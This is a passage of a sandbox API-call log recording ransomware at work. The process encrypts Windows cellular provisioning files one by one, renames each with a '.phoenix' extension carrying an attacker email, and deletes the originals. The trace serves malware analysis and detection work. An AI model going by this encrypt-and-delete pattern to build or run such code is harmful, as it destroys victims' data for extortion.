	[0231.137] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x192, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x192, lpOverlapped=0x0) returned 1
	[0231.137] CryptDestroyKey (hKey=0x151180) returned 1
	[0231.137] CloseHandle (hObject=0x2e4) returned 1
	[0231.137] CloseHandle (hObject=0x2f4) returned 1
	[0231.137] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\0__connections_cellular_albanian mobile communications (albania)_i0$(__mvid)@wap.provxml")) returned 1
	[0231.140] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0231.140] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\101__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0231.141] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=466) returned 1
	[0231.141] CloseHandle (hObject=0x2f4) returned 1
	[0231.141] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\101__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0231.141] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\101__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0231.141] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\101__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0231.141] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0231.141] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0231.141] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\101__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0231.142] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151580) returned 1
	[0231.142] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0231.142] ReadFile (in: hFile=0x2f4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1d2, lpOverlapped=0x0) returned 1
	[0231.143] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1e0) returned 1
	[0231.143] WriteFile (in: hFile=0x2e4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1e0, lpOverlapped=0x0) returned 1
	[0231.144] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1516c0) returned 1
	[0231.144] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0231.144] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90, dwBufLen=0x90 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90) returned 1
	[0231.144] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0231.144] WriteFile (in: hFile=0x2e4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x142, lpOverlapped=0x0) returned 1
	[0231.144] CryptDestroyKey (hKey=0x151580) returned 1
	[0231.144] CloseHandle (hObject=0x2f4) returned 1
	[0231.144] CloseHandle (hObject=0x2e4) returned 1
	[0231.144] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\101__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0231.145] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0231.146] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\102__connections_cellular_claro (dominican republic)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0231.146] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=650) returned 1
	[0231.146] CloseHandle (hObject=0x2e4) returned 1
	[0231.146] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\102__connections_cellular_claro (dominican republic)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0231.146] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\102__connections_cellular_claro (dominican republic)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0231.146] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\102__connections_cellular_claro (dominican republic)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0231.147] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0231.147] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0231.147] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\102__connections_cellular_claro (dominican republic)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0231.147] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1514c0) returned 1
	[0231.147] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0231.147] ReadFile (in: hFile=0x2e4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x28a, lpOverlapped=0x0) returned 1
	[0231.599] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290, dwBufLen=0x290 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290) returned 1
	[0231.599] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x290, lpOverlapped=0x0) returned 1
	[0231.600] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151580) returned 1
	[0231.600] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0231.600] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0231.600] CryptDestroyKey (hKey=0x151580) returned 1
	[0231.600] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0231.600] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0231.600] CloseHandle (hObject=0x2e4) returned 1
	[0231.600] CloseHandle (hObject=0x2f4) returned 1
	[0231.601] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\102__connections_cellular_claro (dominican republic)_i0$(__mvid)@wap.provxml")) returned 1
	[0231.650] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0231.650] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\104__connections_cellular_porta gsm (ecuador)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0231.650] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=643) returned 1
	[0231.650] CloseHandle (hObject=0x2f4) returned 1
	[0231.650] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\104__connections_cellular_porta gsm (ecuador)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0231.650] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\104__connections_cellular_porta gsm (ecuador)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0231.650] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\104__connections_cellular_porta gsm (ecuador)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0231.650] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0231.651] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0231.651] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\104__connections_cellular_porta gsm (ecuador)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0231.651] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151280) returned 1
	[0231.651] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0231.651] ReadFile (in: hFile=0x2f4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x283, lpOverlapped=0x0) returned 1
	[0231.790] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290, dwBufLen=0x290 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290) returned 1
	[0231.790] WriteFile (in: hFile=0x2e4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x290, lpOverlapped=0x0) returned 1
	[0231.791] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151640) returned 1
	[0231.791] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0231.791] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0231.791] CryptDestroyKey (hKey=0x151640) returned 1
	[0231.791] WriteFile (in: hFile=0x2e4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0231.791] CryptDestroyKey (hKey=0x151280) returned 1
	[0231.791] CloseHandle (hObject=0x2f4) returned 1
	[0231.791] CloseHandle (hObject=0x2e4) returned 1
	[0231.791] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\104__connections_cellular_porta gsm (ecuador)_i0$(__mvid)@wap.provxml")) returned 1
	[0231.792] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0231.792] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\107__connections_cellular_vodafone egypt (egypt)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0231.793] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=864) returned 1
	[0231.793] CloseHandle (hObject=0x2e4) returned 1
	[0231.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\107__connections_cellular_vodafone egypt (egypt)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0231.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\107__connections_cellular_vodafone egypt (egypt)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0231.793] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\107__connections_cellular_vodafone egypt (egypt)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0231.793] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0231.793] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0231.793] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\107__connections_cellular_vodafone egypt (egypt)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0231.793] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151380) returned 1
	[0231.794] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0231.794] ReadFile (in: hFile=0x2e4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x360, lpOverlapped=0x0) returned 1
	[0232.117] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x370, dwBufLen=0x370 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x370) returned 1
	[0232.117] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x370, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x370, lpOverlapped=0x0) returned 1
	[0232.132] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151040) returned 1
	[0232.132] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0232.132] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0232.133] CryptDestroyKey (hKey=0x151040) returned 1
	[0232.133] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0232.133] CryptDestroyKey (hKey=0x151380) returned 1
	[0232.133] CloseHandle (hObject=0x2e4) returned 1
	[0232.133] CloseHandle (hObject=0x2f4) returned 1
	[0232.133] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\107__connections_cellular_vodafone egypt (egypt)_i0$(__mvid)@wap.provxml")) returned 1
	[0232.289] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0232.289] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\108__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0232.290] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=480) returned 1
	[0232.290] CloseHandle (hObject=0x2c0) returned 1
	[0232.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\108__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
